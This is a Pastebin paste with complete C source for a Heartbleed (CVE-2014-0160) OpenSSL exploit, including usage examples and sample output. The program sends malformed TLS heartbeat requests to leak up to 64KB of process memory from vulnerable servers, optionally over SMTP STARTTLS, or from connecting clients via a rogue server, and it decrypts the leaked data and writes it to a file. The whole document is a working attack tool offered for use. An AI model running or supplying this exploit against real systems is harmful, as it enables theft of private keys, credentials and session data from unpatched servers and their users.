GregTampa

heartbleed2

Apr 12th, 2014
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. * CVE-2014-0160 heartbleed OpenSSL information leak exploit
  3. * =========================================================
  4. * This exploit uses OpenSSL to create an encrypted connection
  5. * and trigger the heartbleed leak. The leaked information is
  6. * returned encrypted and is then decrypted, decompressed and
  7. * wrote to a file to annoy IDS/forensics. The exploit can set
  8. * the heatbeart payload length arbitrarily or use two preset
  9. * values for 0x00 and MAX length. The vulnerability occurs due
  10. * to bounds checking not being performed on a heap value which
  11. * is user supplied and returned to the user as part of DTLS/TLS
  12. * heartbeat SSL extension. All versions of OpenSSL 1.0.1 to
  13. * 1.0.1f are known affected. You must run this against a target
  14. * which is linked to a vulnerable OpenSSL library using DTLS/TLS.
  15. *
  16. * Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g
  17. *
  18. * E.g.
  19. * $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed
  20. * $ ./heartbleed -s 192.168.11.9 -p 443 -f leakme -t 1
  21. * [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
  22. * [ =============================================================
  23. * [ connecting to 192.168.11.23 443/tcp
  24. * [ connected to 192.168.11.23 443/tcp
  25. * [ <3 <3 <3 heart bleed <3 <3 <3 <3
  26. * [ heartbeat returned type=24 length=16416
  27. * [ decrypting and decompressing SSL packet
  28. * [ final record type=24, length=16384
  29. * [ wrote 16384 bytes to file 'leakme'
  30. * [ done.
  31. * $ hexdump -C leakme
  32. * - snip - snip  
  33. *
  34. * Added support for pre_cmd's and as an example use STARTTLS
  35. * to leak from vulnerable SMTP services.
  36. *
  37. * Added experimental support for exploiting connecting clients
  38. * with rogue server. Generate certificates with the following:
  39. *
  40. * $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  41. * -keyout server.key -out server.crt
  42. *
  43. * todo: add udp/dtls support.
  44. *
  45. * - Hacker Fantastic
  46. *   http://www.mdsec.co.uk
  47. *
  48. */
  49. #include <stdio.h>
  50. #include <stdint.h>
  51. #include <stdlib.h>
  52. #include <string.h>
  53. #include <unistd.h>
  54. #include <getopt.h>
  55. #include <signal.h>
  56. #include <netdb.h>
  57. #include <fcntl.h>
  58. #include <sys/socket.h>
  59. #include <sys/types.h>
  60. #include <netinet/in.h>
  61. #include <inttypes.h>
  62. #include <openssl/bio.h>
  63. #include <openssl/ssl.h>
  64. #include <openssl/err.h>
  65. #include <openssl/evp.h>
  66. #include <openssl/tls1.h>
  67. #include <openssl/rand.h>
  68. #include <openssl/buffer.h>
  69.  
  70. #define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
  71. (((unsigned int)(c[1]))    )),c+=2)
  72. #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
  73. c[1]=(unsigned char)(((s)    )&0xff)),c+=2)
  74.  
  75. typedef struct {
  76. int socket;
  77. SSL *sslHandle;
  78. SSL_CTX *sslContext;
  79. } connection;
  80.  
  81. typedef struct {
  82.  unsigned char type;
  83.  short version;
  84.  unsigned int length;
  85.  unsigned char hbtype;
  86.  unsigned int payload_length;
  87.  void* payload;
  88. } heartbeat;
  89.  
  90. void ssl_init();
  91. void usage();
  92. int tcp_connect(char*,int);
  93. int tcp_bind(char*, int);
  94. connection* tls_connect(int);
  95. connection* tls_bind(int);
  96. int pre_cmd(int,int);
  97. void* heartbleed(connection* ,unsigned int);
  98. void* sneakyleaky(connection* ,char*, int);
  99.  
  100. int tcp_connect(char* server,int port){
  101. int sd,ret;
  102. struct hostent *host;
  103.        struct sockaddr_in sa;
  104.        host = gethostbyname(server);
  105.        sd = socket(AF_INET, SOCK_STREAM, 0);
  106.        if(sd==-1){
  107. printf("[!] cannot create socket\n");
  108. exit(0);
  109. }
  110. sa.sin_family = AF_INET;
  111.        sa.sin_port = htons(port);
  112.        sa.sin_addr = *((struct in_addr *) host->h_addr);
  113.        bzero(&(sa.sin_zero),8);
  114. printf("[ connecting to %s %d/tcp\n",server,port);
  115.        ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr));
  116. if(ret==0){
  117. printf("[ connected to %s %d/tcp\n",server,port);
  118. }
  119. else{
  120. printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port);
  121. exit(0);
  122. }
  123. return sd;
  124. }
  125.  
  126. int tcp_bind(char* server, int port){
  127. int sd, ret, val=1;
  128. struct sockaddr_in sin;
  129. struct hostent *host;
  130. host = gethostbyname(server);
  131. sd=socket(AF_INET,SOCK_STREAM,0);
  132. if(sd==-1){
  133.      printf("[!] cannot create socket\n");
  134. exit(0);
  135. }
  136. memset(&sin,0,sizeof(sin));
  137. sin.sin_addr=*((struct in_addr *) host->h_addr);
  138. sin.sin_family=AF_INET;
  139. sin.sin_port=htons(port);
  140.     setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val));
  141. ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin));
  142. if(ret==-1){
  143. printf("[!] cannot bind socket\n");
  144. exit(0);
  145. }
  146. listen(sd,5);
  147. return(sd);
  148. }
  149.  
  150.  
  151. void ssl_init(){
  152.        SSL_load_error_strings();
  153.        SSL_library_init();
  154.        OpenSSL_add_all_digests();
  155.        OpenSSL_add_all_algorithms();
  156.        OpenSSL_add_all_ciphers();
  157. }
  158.  
  159. connection* tls_connect(int sd){
  160.        connection *c;
  161. c = malloc(sizeof(connection));
  162.        c->socket = sd;
  163.        c->sslHandle = NULL;
  164.        c->sslContext = NULL;
  165.        c->sslContext = SSL_CTX_new(TLSv1_client_method());
  166.        if(c->sslContext==NULL)
  167.                ERR_print_errors_fp(stderr);
  168.        c->sslHandle = SSL_new(c->sslContext);
  169.        if(c->sslHandle==NULL)
  170.                ERR_print_errors_fp(stderr);
  171.        if(!SSL_set_fd(c->sslHandle,c->socket))
  172.                ERR_print_errors_fp(stderr);
  173.        if(SSL_connect(c->sslHandle)!=1)
  174.                ERR_print_errors_fp(stderr);
  175.        if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
  176.                c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
  177.                printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
  178.        }
  179. return c;
  180. }
  181.  
  182. connection* tls_bind(int sd){
  183. int bytes;
  184.        connection *c;
  185.        char* buf;
  186. buf = malloc(4096);
  187. memset(buf,0,4096);
  188. c = malloc(sizeof(connection));
  189.        c->socket = sd;
  190.        c->sslHandle = NULL;
  191.        c->sslContext = NULL;
  192.        c->sslContext = SSL_CTX_new(TLSv1_server_method());
  193.        if(c->sslContext==NULL)
  194.                ERR_print_errors_fp(stderr);
  195. SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3);
  196. SSL_CTX_SRP_CTX_init(c->sslContext);
  197. SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM);
  198. SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM);      
  199. if(!SSL_CTX_check_private_key(c->sslContext)){
  200. printf("[!] FATAL: private key does not match the certificate public key\n");
  201. exit(0);
  202. }
  203. c->sslHandle = SSL_new(c->sslContext);
  204.        if(c->sslHandle==NULL)
  205.                ERR_print_errors_fp(stderr);
  206.        if(!SSL_set_fd(c->sslHandle,c->socket))
  207.                ERR_print_errors_fp(stderr);
  208.        int rc = SSL_accept(c->sslHandle);
  209. printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle));
  210. bytes = SSL_read(c->sslHandle, buf, 4095);
  211. printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf);
  212. if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
  213.                c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
  214.                printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
  215.        }
  216.        return c;
  217. }
  218.  
  219. int pre_cmd(int sd,int verbose){
  220. /* this function can be used to send commands to a plain-text
  221. service or client before heartbleed exploit attempt. e.g. STARTTLS */
  222. int rc;
  223. char* buffer;
  224. char* hello = "EHLO test\n";
  225. char* start = "STARTTLS\n";
  226. buffer = malloc(2049);
  227. memset(buffer,0,2049);
  228. rc = read(sd,buffer,2048);
  229. printf("[ banner: %s",buffer);
  230. send(sd,hello,strlen(hello),0);
  231. memset(buffer,0,2049);
  232. rc = read(sd,buffer,2048);
  233. if(verbose==1){
  234. printf("%s\n",buffer);
  235. }
  236. send(sd,start,strlen(start),0);
  237. memset(buffer,0,2049);
  238. rc = read(sd,buffer,2048);
  239. if(verbose==1){
  240. printf("%s\n",buffer);
  241. }
  242. return sd;
  243. }
  244.  
  245. void* heartbleed(connection *c,unsigned int type){
  246. unsigned char *buf, *p;
  247.        int ret;
  248. buf = OPENSSL_malloc(1 + 2);
  249.        p = buf;
  250.        *p++ = TLS1_HB_REQUEST;
  251. switch(type){
  252. case 0:
  253. s2n(0x0,p);
  254. break;
  255. case 1:
  256. s2n(0xffff,p);
  257. break;
  258. default:
  259. printf("[ setting heartbeat payload_length to %u\n",type);
  260. s2n(type,p);
  261. break;
  262. }
  263. printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n");
  264.        ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
  265.        OPENSSL_free(buf);
  266. return c;
  267. }
  268.  
  269. void* sneakyleaky(connection *c,char* filename, int verbose){
  270. char *p;
  271.        int ssl_major,ssl_minor,al;
  272.        int enc_err,n,i;
  273.        SSL3_RECORD *rr;
  274.        SSL_SESSION *sess;
  275. SSL* s;
  276.        unsigned char md[EVP_MAX_MD_SIZE];
  277.        short version;
  278.        unsigned mac_size, orig_len;
  279.        size_t extra;
  280.        rr= &(c->sslHandle->s3->rrec);
  281.        sess=c->sslHandle->session;
  282.        s = c->sslHandle;
  283.        if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
  284.                extra=SSL3_RT_MAX_EXTRA;
  285.        else
  286.                extra=0;
  287.        if ((s->rstate != SSL_ST_READ_BODY) ||
  288.                (s->packet_length < SSL3_RT_HEADER_LENGTH)) {
  289.                        n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
  290.                        if (n <= 0)
  291.                                goto apple;
  292.                        s->rstate=SSL_ST_READ_BODY;
  293.                        p=s->packet;
  294.                        rr->type= *(p++);
  295.                        ssl_major= *(p++);
  296.                        ssl_minor= *(p++);
  297.                        version=(ssl_major<<8)|ssl_minor;
  298.                        n2s(p,rr->length);
  299. if(rr->type==24){
  300. printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length);
  301. }
  302. else{
  303. printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length);
  304. s->packet_length=0;
  305. goto apple;
  306. }
  307.        }
  308.        if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){
  309.                i=rr->length;
  310.                n=ssl3_read_n(s,i,i,1);
  311.                if (n <= 0) goto apple;
  312.        }
  313. printf("[ decrypting and decompressing SSL packet\n");
  314.        s->rstate=SSL_ST_READ_HEADER;
  315.        rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);
  316.        rr->data=rr->input;
  317.        tls1_enc(s,0);
  318.        if((sess != NULL) &&
  319.            (s->enc_read_ctx != NULL) &&
  320.            (EVP_MD_CTX_md(s->read_hash) != NULL))
  321.                {
  322.                unsigned char *mac = NULL;
  323.                unsigned char mac_tmp[EVP_MAX_MD_SIZE];
  324.                mac_size=EVP_MD_CTX_size(s->read_hash);
  325.                OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);
  326.                orig_len = rr->length+((unsigned int)rr->type>>8);
  327.                if(orig_len < mac_size ||
  328.                  (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&
  329.                   orig_len < mac_size+1)){
  330.                        al=SSL_AD_DECODE_ERROR;
  331.                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
  332.                }
  333.                if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){
  334.                        mac = mac_tmp;
  335.                        ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len);
  336.                        rr->length -= mac_size;
  337.                }
  338.                else{
  339.                        rr->length -= mac_size;
  340.                        mac = &rr->data[rr->length];
  341.                }
  342.                i = tls1_mac(s,md,0);
  343.                if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0)
  344.                        enc_err = -1;
  345.                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)
  346.                        enc_err = -1;
  347.                }
  348.        if(enc_err < 0){
  349.                al=SSL_AD_BAD_RECORD_MAC;
  350.                SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
  351.                goto apple;
  352.        }
  353.        if(s->expand != NULL){
  354.                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {
  355.                        al=SSL_AD_RECORD_OVERFLOW;
  356.                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);
  357.                        goto apple;
  358.                        }
  359.                if (!ssl3_do_uncompress(s)) {
  360.                        al=SSL_AD_DECOMPRESSION_FAILURE;
  361.                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
  362.                        goto apple;
  363.                        }
  364.                }
  365.        if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {
  366.                al=SSL_AD_RECORD_OVERFLOW;
  367.                SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
  368.                goto apple;
  369.        }
  370.        rr->off=0;
  371.        s->packet_length=0;
  372.        if(verbose==1){
  373.                { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }
  374.                printf("\n");
  375.        }
  376. printf("[ final record type=%d, length=%u\n", rr->type, rr->length);
  377. int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700);
  378.        write(fd,s->s3->rrec.data,s->s3->rrec.length);
  379.        close(fd);
  380. printf("[ wrote %d bytes to file '%s'\n",rr->length, filename);
  381. printf("[ done.\n");
  382. exit(0);
  383. apple:
  384.        printf("[ problem handling SSL record packet - wrong type?\n");
  385. }
  386.  
  387. void usage(){
  388. printf("[\n");
  389. printf("[ --server|-s <ip/dns>    - the server to target\n");
  390. printf("[ --port|-p   <port>      - the port to target\n");
  391. printf("[ --file|-f   <filename>  - file to write data to\n");
  392. printf("[ --bind|-b   <ip>        - bind to ip for exploiting clients\n");
  393. printf("[ --precmd|-c             - send precmd buffer (STARTTLS)\n");
  394. printf("[ --type|-t               - select exploit to try\n");
  395. printf("[                           0 = null length\n");
  396. printf("[       1 = max leak\n");
  397. printf("[       n = heartbeat payload_length\n");
  398. printf("[\n");
  399. printf("[ --verbose|-v            - output leak to screen\n");
  400. printf("[ --help|-h               - this output\n");
  401. printf("[\n");
  402. exit(0);
  403. }
  404.  
  405. int main(int argc, char* argv[]){
  406. int ret, port, userc, index;
  407. int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 0;
  408. struct hostent *h;
  409. connection* c;
  410. char *host, *file;
  411. int ihost = 0, iport = 0, ifile = 0, itype = 0;
  412. printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n");
  413. printf("[ =============================================================\n");
  414.        static struct option options[] = {
  415.         {"server", 1, 0, 's'},
  416.        {"port", 1, 0, 'p'},
  417. {"file", 1, 0, 'f'},
  418. {"type", 1, 0, 't'},
  419. {"bind", 1, 0, 'b'},
  420. {"verbose", 0, 0, 'v'},
  421. {"precmd", 0, 0, 'c'},
  422. {"help", 0, 0,'h'}
  423.        };
  424. while(userc != -1) {
  425.        userc = getopt_long(argc,argv,"s:p:f:t:b:cvh",options,&index);  
  426.         switch(userc) {
  427.               case -1:
  428.                        break;
  429.                 case 's':
  430. if(ihost==0){
  431. ihost = 1;
  432. h = gethostbyname(optarg); 
  433. if(h==NULL){
  434. printf("[!] FATAL: unknown host '%s'\n",optarg);
  435. exit(1);
  436. }
  437. host = malloc(strlen(optarg) + 1);
  438. sprintf(host,"%s",optarg);
  439.               }
  440. break;
  441.                case 'p':
  442. if(iport==0){
  443. port = atoi(optarg);
  444. iport = 1;
  445. }
  446.                         break;
  447. case 'f':
  448. if(ifile==0){
  449. file = malloc(strlen(optarg) + 1);
  450. sprintf(file,"%s",optarg);
  451. ifile = 1;
  452. }
  453. break;
  454. case 't':
  455. if(itype==0){
  456. type = atoi(optarg);
  457. itype = 1;
  458. }
  459. break;
  460. case 'h':
  461. usage();
  462. break;
  463. case 'b':
  464. if(ihost==0){
  465. ihost = 1;
  466. host = malloc(strlen(optarg)+1);
  467. sprintf(host,"%s",optarg);
  468. bind = 1;
  469. }
  470. break;
  471. case 'c':
  472. precmd = 1;
  473. break;
  474. case 'v':
  475. verbose = 1;
  476. break;
  477. default:
  478. break;
  479. }
  480. }
  481. if(ihost==0||iport==0||ifile==0||itype==0){
  482. printf("[ try --help\n");
  483. exit(0);
  484. }
  485. ssl_init();
  486. if(bind==0){
  487. ret = tcp_connect(host, port);
  488. if(precmd==1){
  489. pre_cmd(ret, verbose);
  490. }
  491. c = tls_connect(ret);
  492. heartbleed(c,type);
  493. sneakyleaky(c,file,verbose);
  494. exit(0);
  495. }
  496. else{
  497. int sd, pid, i;
  498. ret = tcp_bind(host, port);
  499. while(1){
  500.          sd=accept(ret,0,0);
  501. if(sd==-1){
  502. printf("[!] FATAL: problem with accept()\n");
  503. exit(0);
  504. }
  505. if(pid=fork()){
  506. close(sd);
  507. }
  508.          else{
  509. c = tls_bind(sd);
  510. if(precmd==1){
  511. pre_cmd(ret, verbose);
  512. }
  513. heartbleed(c,type);
  514. sneakyleaky(c,file,verbose);
  515. exit(0);
  516. }
  517. }
  518. }
  519. }
Advertisement
Add Comment
Please, Sign In to add comment